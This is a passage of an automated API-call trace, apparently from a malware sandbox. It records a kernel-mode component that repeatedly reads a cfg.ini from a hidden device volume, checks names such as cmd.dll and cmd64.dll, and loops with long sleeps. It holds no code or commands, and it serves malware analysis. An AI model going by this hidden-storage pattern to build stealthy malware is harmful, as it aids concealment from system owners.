(FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.564] KeLeaveCriticalRegion () [0124.564] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.564] KeEnterCriticalRegion () [0124.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.564] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.564] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf2700, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.564] KeLeaveCriticalRegion () [0124.564] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.564] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.564] KeEnterCriticalRegion () [0124.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.564] ExFreePoolWithTag (P=0xfffffa8003bf1750, Tag=0x0) [0124.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.564] KeLeaveCriticalRegion () [0124.564] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.564] ReleaseMutex (hMutex=0xf0) returned 1 [0124.564] Sleep (dwMilliseconds=0x124f80) [0124.578] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.578] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.578] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.578] KeEnterCriticalRegion () [0124.578] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.578] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.578] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.578] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.578] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.578] IdePortDispatch () returned 0x103 [0124.578] KeWaitForMutexObject () returned 0x0 [0124.578] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.578] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.578] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.578] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.578] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.578] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf2b30 [0124.578] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.578] KeLeaveCriticalRegion () [0124.578] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.578] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.578] KeEnterCriticalRegion () [0124.578] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.578] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.578] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.578] KeLeaveCriticalRegion () [0124.579] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.579] KeEnterCriticalRegion () [0124.579] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.579] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.579] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.579] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.579] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.579] IdePortDispatch () returned 0x103 [0124.579] KeWaitForMutexObject () returned 0x0 [0124.579] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.579] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.579] KeLeaveCriticalRegion () [0124.579] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.579] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.579] KeEnterCriticalRegion () [0124.579] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.579] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003581000 [0124.579] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.579] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.579] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.579] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.579] IdePortDispatch () returned 0x103 [0124.579] KeWaitForMutexObject () returned 0x0 [0124.579] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.579] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.579] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.579] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.579] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.580] IdePortDispatch () returned 0x103 [0124.580] KeWaitForMutexObject () returned 0x0 [0124.580] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.580] KeLeaveCriticalRegion () [0124.580] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.580] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.580] KeEnterCriticalRegion () [0124.580] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.580] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.580] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.580] KeLeaveCriticalRegion () [0124.580] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.580] KeEnterCriticalRegion () [0124.580] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.580] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.580] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf2700, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.580] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.580] KeLeaveCriticalRegion () [0124.580] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.580] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.580] KeEnterCriticalRegion () [0124.580] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.581] ExFreePoolWithTag (P=0xfffffa8003bf2b30, Tag=0x0) [0124.581] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.581] KeLeaveCriticalRegion () [0124.581] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.581] ReleaseMutex (hMutex=0xf0) returned 1 [0124.581] Sleep (dwMilliseconds=0x124f80) [0124.595] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.596] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.596] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.596] KeEnterCriticalRegion () [0124.596] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.596] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.596] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.596] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.596] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.596] IdePortDispatch () returned 0x103 [0124.596] KeWaitForMutexObject () returned 0x0 [0124.596] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.596] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.596] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.596] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.596] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.596] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf22f0 [0124.596] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.596] KeLeaveCriticalRegion () [0124.596] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.596] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.596] KeEnterCriticalRegion () [0124.596] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.596] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.596] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.596] KeLeaveCriticalRegion () [0124.596] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.596] KeEnterCriticalRegion () [0124.596] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.596] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.596] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.596] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.596] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.596] IdePortDispatch () returned 0x103 [0124.597] KeWaitForMutexObject () returned 0x0 [0124.597] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.597] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.597] KeLeaveCriticalRegion () [0124.597] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.597] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.597] KeEnterCriticalRegion () [0124.597] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.597] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003586000 [0124.597] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.597] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.597] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.597] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.597] IdePortDispatch () returned 0x103 [0124.597] KeWaitForMutexObject () returned 0x0 [0124.597] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.597] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.597] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.597] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.597] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.597] IdePortDispatch () returned 0x103 [0124.597] KeWaitForMutexObject () returned 0x0 [0124.597] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.597] KeLeaveCriticalRegion () [0124.597] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.598] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.598] KeEnterCriticalRegion () [0124.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.598] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.598] KeLeaveCriticalRegion () [0124.598] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.598] KeEnterCriticalRegion () [0124.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.598] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.598] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf23b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.598] KeLeaveCriticalRegion () [0124.598] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.598] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.598] KeEnterCriticalRegion () [0124.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.598] ExFreePoolWithTag (P=0xfffffa8003bf22f0, Tag=0x0) [0124.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.598] KeLeaveCriticalRegion () [0124.598] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.598] ReleaseMutex (hMutex=0xf0) returned 1 [0124.598] Sleep (dwMilliseconds=0x124f80) [0124.613] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.613] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.613] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.613] KeEnterCriticalRegion () [0124.613] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.613] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.613] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.613] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.613] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.613] IdePortDispatch () returned 0x103 [0124.613] KeWaitForMutexObject () returned 0x0 [0124.613] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.613] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.613] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.613] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.613] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.613] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6fb0 [0124.613] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.613] KeLeaveCriticalRegion () [0124.613] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.614] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.614] KeEnterCriticalRegion () [0124.614] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.614] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.614] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.614] KeLeaveCriticalRegion () [0124.614] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.614] KeEnterCriticalRegion () [0124.614] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.614] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.614] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.614] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.614] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.614] IdePortDispatch () returned 0x103 [0124.614] KeWaitForMutexObject () returned 0x0 [0124.614] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.614] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.614] KeLeaveCriticalRegion () [0124.614] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.614] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.614] KeEnterCriticalRegion () [0124.614] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.614] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800358b000 [0124.614] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.614] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.614] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.614] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.614] IdePortDispatch () returned 0x103 [0124.615] KeWaitForMutexObject () returned 0x0 [0124.615] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.615] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.615] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.615] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.615] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.615] IdePortDispatch () returned 0x103 [0124.615] KeWaitForMutexObject () returned 0x0 [0124.615] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.615] KeLeaveCriticalRegion () [0124.615] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.615] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.615] KeEnterCriticalRegion () [0124.615] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.615] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.615] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.615] KeLeaveCriticalRegion () [0124.615] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.615] KeEnterCriticalRegion () [0124.615] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.616] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.616] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf2070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.616] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.616] KeLeaveCriticalRegion () [0124.616] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.616] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.616] KeEnterCriticalRegion () [0124.616] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.616] ExFreePoolWithTag (P=0xfffffa8003be6fb0, Tag=0x0) [0124.616] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.616] KeLeaveCriticalRegion () [0124.616] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.616] ReleaseMutex (hMutex=0xf0) returned 1 [0124.616] Sleep (dwMilliseconds=0x124f80) [0124.630] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.630] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.630] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.630] KeEnterCriticalRegion () [0124.630] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.630] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.630] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.630] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.630] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.630] IdePortDispatch () returned 0x103 [0124.631] KeWaitForMutexObject () returned 0x0 